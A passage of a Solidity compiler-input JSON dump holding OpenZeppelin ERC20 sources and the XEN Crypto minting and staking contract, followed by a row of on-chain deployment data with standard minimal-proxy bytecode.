"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
8f9596c4553d175b2b02ba228ef17d07a1b5d02c
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
